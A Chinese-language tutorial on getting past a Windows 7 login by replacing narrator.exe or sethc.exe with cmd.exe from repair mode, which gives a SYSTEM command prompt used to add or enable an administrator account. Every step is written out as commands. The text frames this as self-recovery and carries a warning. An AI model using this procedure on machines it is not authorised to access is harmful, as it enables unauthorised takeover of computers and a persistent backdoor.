Win7 繞過登入密碼/啟用 Administrator：修復模式替換 narrator.exe/sethc.exe 取得 SYSTEM 權限 CMD

忘記密碼或需提權時，利用 Win7 修復模式替換系統檔案（narrator.exe 講述人 或 sethc.exe 粘滯鍵），在登入畫面呼叫取得 SYSTEM 權限 CMD，重設密碼/啟用內建管理員。

操作流程

1. 開機連按 F8 → 選「修復電腦」→ 選作業系統 → 「命令提示字元」。
2. 切換到系統盤（修復模式預設非 C 槽，需 dir 確認）：
   cd /d D:\Windows\System32 (假設系統盤為 D:)
3. 備份並替換講述人：
   copy narrator.exe narrator2.exe
del narrator.exe
copy cmd.exe narrator.exe
   (同理可替換 sethc.exe，登入畫面連按 5 次 Shift 呼叫)
4. 重開機進入登入畫面。
5. 啟動講述人 (Win + U 或無障礙選單) → 彈出 SYSTEM 權限 CMD。
6. 執行指令：
   net user 新帳號 密碼 /add
net localgroup Administrators 新帳號 /add
   或直接啟用內建管理員：net user administrator /active:yes
7. 重開機用新帳號/Administrator 登入。

關鍵細節： 修復模式雖為 SYSTEM 權限，但預設工作目錄非系統盤，必須 cd /d 切換到真正的系統盤 System32 才能替換正確檔案。修復模式下 net user administrator /active:yes 僅啟用修復環境的管理員，不影響實際系統，故必須替換系統檔後在正式登入畫面執行。

安全警示： 此法屬繞過驗證手段，僅供合法使用者自救。企業環境請用密碼重設碟/域管理員重設。Win10 後講述人/粘滯鍵替換法因檔案保護機制加強已較難奏效。